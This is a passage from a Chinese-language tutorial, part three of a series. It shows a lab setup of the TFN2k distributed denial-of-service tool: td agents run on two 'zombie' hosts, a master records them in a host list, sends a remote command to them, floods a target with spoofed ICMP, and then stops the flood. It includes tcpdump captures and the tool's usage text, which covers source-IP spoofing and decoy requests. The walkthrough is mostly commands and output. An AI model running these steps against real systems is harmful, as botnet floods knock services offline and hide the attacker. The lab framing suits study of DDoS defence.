tfn2k 分布式拒绝服务攻击攻击及iptables过滤测试( 三 )


[root@ ag1 wjpfjy/]./td
//运行td,这样你就拥有一个代理了,它会对你唯命是从的:( 。
用同样的方法在ag2 (192.168.0.3)上安装并运行TFN2k进程td.
6.攻击开始(悲惨的回忆上演中...)
回到master(192.168.0.6 ),准备演练...

 [root@master root]#touch host.txt
//建立代理记录文件(因为如果你足够无聊的话,有可能会建立很多的肉鸡-
//代理,不记下会忘记的噢.)
[root@master root]echo "192.168.0.2" > host.txt 将执行过td的ag1加入host.txt 。
[root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .
先来测试一下链接 。
[root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 与host.txt中的代理通讯,让其执行命令mkdir wjpfjy即建立一个目录

Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification:
//这里,会被提示输入密码,也就是编译时输入的密码,如果错了,将无法与td进程通讯
Sending out packets: ..
到ag1和ag2看看有没有建立目录名wjpfjy,一般情况下,会存在于td的同一目录,如果不确定,可以用find / -name wjpfjy -print来查找
[root@master root]./tfn -f host.txt -c 6 -i 192.168.0.5 开始ICMP/PING 攻击aim...(可怜我的P4啊,不到5分钟,就跟386一样慢),不过它在game over前,还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录.

[root@aim root]# tcpdump -r pack.atta -c 4 -xX
08:03:36.524907 23.43.171.0 > 192.168.0.5 icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E..e........ ..
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524933 192.168.0.5 > 23.43.171.0: icmp: echo reply
0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E......@.Q.....
0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 . ..............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524944 36.235.130.0 > 192.168.0.5: icmp: echo request [ttl 0]
0x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E..e......n$...
0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 ................
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 ..
08:03:36.524984 192.168.0.5 > 36.235.130.0: icmp: echo reply
0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E..U...@.......
0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $...............
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
[root@master root]./tfn -f host.txt -c 0 停止攻击

Protocol : random
Source IP : random
Client input : list
Command : stop flooding
Password verification:
Sending out packets: ...
当然还有别的攻击方法,你只要用-c X就可以更改攻击方法.

[root@master root]./tfn
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server

推荐阅读